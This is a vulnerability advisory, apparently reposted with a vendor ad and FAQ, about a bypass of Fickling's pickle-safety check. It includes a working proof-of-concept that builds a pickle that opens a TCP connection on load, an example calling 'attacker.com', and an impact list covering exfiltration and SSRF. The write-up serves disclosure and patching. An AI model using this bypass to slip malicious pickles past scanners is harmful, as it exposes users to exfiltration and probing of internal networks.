Fickling has a detection bypass via stdlib network-protocol constructors
Our assessment
imtplib, imaplib, ftplib, poplib, telnetlib, and nntplib were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/6d20564d23acf14b42ec883908aed159be7b9ade). The UnusedVariables heuristic works as expected.
Original report
Summary
Fickling's check_safety() API and --check-safety CLI flag incorrectly rate as
LIKELY_SAFE pickle files that open outbound TCP connections at deserialization time
using stdlib network-protocol constructors: smtplib.SMTP, imaplib.IMAP4,
ftplib.FTP, poplib.POP3, telnetlib.Telnet, and nntplib.NNTP.
The bypass exploits two independent root causes described below.
Root Cause 1: Incomplete blocklist (fixed in PR #233)
fickling/fickle.py (lines 41-97) defines UNSAFE_IMPORTS, the primary blocklist.
fickling/analysis.py (lines 229-248) defines the parallel
UnsafeImportsML.UNSAFE_MODULES dict. Both omitted the following stdlib
network-protocol modules whose constructors open a TCP socket at instantiation time:
| Module | Class | Default port | Constructor side-effect |
|---|---|---|---|
| smtplib | SMTP | 25 | TCP connect, reads SMTP banner, sends EHLO |
| imaplib | IMAP4 | 143 | TCP connect, reads IMAP capability banner |
| ftplib | FTP | 21 | TCP connect, reads FTP welcome banner |
| poplib | POP3 | 110 | TCP connect, reads POP3 greeting |
| telnetlib | Telnet | 23 | TCP connect |
| nntplib | NNTP | 119 | TCP connect, NNTP handshake |
Because these module names were absent from both blocklists, UnsafeImportsML,
UnsafeImports, and NonStandardImports all stayed silent. All six are genuine
stdlib modules so is_std_module() returned True and NonStandardImports did
not fire.
Status: patched in PR #233. The six modules have been added to UNSAFE_IMPORTS.
Root Cause 2: Logic flaw in unused_assignments() at fickle.py:1183 (unpatched)
Description
unused_assignments() in fickling/fickle.py (lines 1174-1204) identifies variables
that are assigned but never referenced. UnusedVariables analysis calls this method
and raises SUSPICIOUS for any unreferenced variable -- this would otherwise catch a
bare REDUCE opcode that stores its result without using it.
The flaw is at line 1183. The method iterates over module_body statements and, when
it encounters the final result = <expr> assignment, breaks out of the loop
immediately without first walking the right-hand side expression for Name references:
# fickling/fickle.py:1183 (current code -- vulnerable)
if (
len(statement.targets) == 1
and isinstance(statement.targets[0], ast.Name)
and statement.targets[0].id == "result"
):
# this is the return value of the program
break # exits WITHOUT scanning statement.value
Any variable that appears only in the RHS of result = <expr> is therefore never
added to the used set and is incorrectly classified as unused.
How this enables bypass suppression
When fickling processes a REDUCE opcode in isolation, it generates:
_var0 = SMTP('attacker.com', 25)
result = _var0
Because the loop breaks before scanning result = _var0, _var0 never enters
used. UnusedVariables sees _var0 as unused and raises SUSPICIOUS.
Adding a BUILD opcode with an empty dict after the REDUCE changes the generated
AST to:
from smtplib import SMTP
_var0 = SMTP('attacker.com', 25) # dangerous call
_var1 = _var0 # BUILD step 1: intermediate reference
_var1.__setstate__({}) # BUILD step 2: state call
result = _var1
Now _var0 appears on the RHS of _var1 = _var0, a statement processed before the
break, so _var0 correctly enters used and UnusedVariables stays silent.
The __setstate__ call is excluded from OvertlyBadEvals because
ASTProperties.visit_Call places it in calls but not in non_setstate_calls
(line 562), and OvertlyBadEvals only iterates non_setstate_calls.
The SMTP(...) call is skipped by OvertlyBadEvals because _process_import adds
SMTP to likely_safe_imports for any stdlib module (line 550), and OvertlyBadEvals
skips calls whose function name is in likely_safe_imports (lines 339-345).
Net result: zero warnings, severity LIKELY_SAFE.
This flaw is generic -- it applies to any module not on the blocklist, not just the
six fixed in PR #233. Any future blocklist gap can be silently exploited using the
same REDUCE + EMPTY_DICT + BUILD pattern as long as this flaw remains unpatched.
Bypass opcode sequence
Offset Opcode Argument
------ ------ --------
0 PROTO 4
2 GLOBAL 'smtplib' 'SMTP'
16 SHORT_BINUNICODE 'attacker.com'
30 BININT2 25
33 TUPLE2
34 REDUCE <- TCP connection opened here
35 EMPTY_DICT
36 BUILD <- suppresses UnusedVariables via flaw
37 STOP
Fickling's synthetic AST for this sequence (what all analysis passes inspect):
from smtplib import SMTP
_var0 = SMTP('attacker.com', 25)
_var1 = _var0
_var1.__setstate__({})
result = _var1
No analysis rule in fickling fires on this AST.
Proof of Concept
Requires only pip install fickling. Save as poc.py and run.
import socket
import threading
import pickle
def build_bypass_pickle(host: str, port: int) -> bytes:
h = host.encode("utf-8")
return b"".join([
b"\x80\x04",
b"csmtplib\nSMTP\n",
b"\x8c" + bytes([len(h)]) + h,
b"M" + bytes([port & 0xFF, (port >> 8) & 0xFF]),
b"\x86", # TUPLE2
b"R", # REDUCE
b"}", # EMPTY_DICT
b"b", # BUILD
b".", # STOP
])
def run_poc():
from fickling.analysis import check_safety
from fickling.fickle import Pickled
HOST, PORT = "127.0.0.1", 19902
received = []
def listener():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((HOST, PORT))
srv.listen(1)
srv.settimeout(5)
try:
conn, addr = srv.accept()
received.append(addr)
conn.close()
except socket.timeout:
pass
srv.close()
t = threading.Thread(target=listener, daemon=True)
t.start()
raw = build_bypass_pickle(HOST, PORT)
loaded = Pickled.load(raw)
result = check_safety(loaded)
print(f"[*] fickling severity : {result.severity.name}")
print(f"[*] fickling is_safe : {result.severity.name == 'LIKELY_SAFE'}")
assert result.severity.name == "LIKELY_SAFE", "Bypass failed"
print("[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed")
print("[*] Calling pickle.loads() to simulate victim loading the file...")
try:
pickle.loads(raw)
except Exception:
pass
t.join(timeout=5)
if received:
print(f"[+] Incoming TCP connection received from {received[0]}")
print("[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE")
else:
print("[-] No TCP connection received (network blocked)")
print(" fickling still rated LIKELY_SAFE -- static analysis bypass confirmed regardless")
if __name__ == "__main__":
run_poc()
Expected output
[*] fickling severity : LIKELY_SAFE
[*] fickling is_safe : True
[+] fickling rates the pickle as LIKELY_SAFE <-- bypass confirmed
[*] Calling pickle.loads() to simulate victim loading the file...
[+] Incoming TCP connection received from ('127.0.0.1', 58412)
[+] FULL BYPASS CONFIRMED: outbound connection made while fickling reported LIKELY_SAFE
Tested on Python 3.11.1, Windows. Not OS-specific.
Impact
An attacker distributing a malicious pickle file (e.g. a crafted ML model checkpoint) can silently:
- Enumerate victims -- receive a TCP callback every time the pickle is loaded, including in sandboxed environments
- Exfiltrate host identity -- victim IP, hostname (via SMTP EHLO), and service banners are sent to the attacker's server
- Probe internal services (SSRF) -- if the victim host can reach internal SMTP relays, IMAP stores, or FTP servers, the pickle probes those services on the attacker's behalf
- Establish a covert channel -- protocol handshakes carry attacker-controlled bytes through a channel fickling explicitly labels safe
The is_likely_safe() helper (fickling/analysis.py:468-474) and the --check-safety
CLI flag both gate on severity == LIKELY_SAFE. This bypass clears that gate
completely with zero warnings.
Suggested fix
Walk statement.value before the break so variables referenced only in the result
assignment are correctly counted as used:
# fickling/fickle.py:1183 -- suggested fix
if (
len(statement.targets) == 1
and isinstance(statement.targets[0], ast.Name)
and statement.targets[0].id == "result"
):
# scan RHS before breaking so variables used only here are marked as used
for node in ast.walk(statement.value):
if isinstance(node, ast.Name):
used.add(node.id)
break
This is the same pattern already used for every other statement in the loop (lines 1200-1203). All 55 non-torch tests pass with this fix applied.
Affected versions
All releases including v0.1.7 (latest). Confirmed on latest master as of
2026-02-19. Root cause 1 patched in PR #233 (master only, not yet released).
Root cause 2 unpatched as of this report.
Reporter
Anmol Vats
Deep Security Visibility Without the Complexity
SynScan provides clear, real-time security insights so you can monitor your attack surface, spot risks early, and act fast—without extra complexity.
- No setup fees
- 5-min deployment
- Cancel anytime
Frequently Asked Questions
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.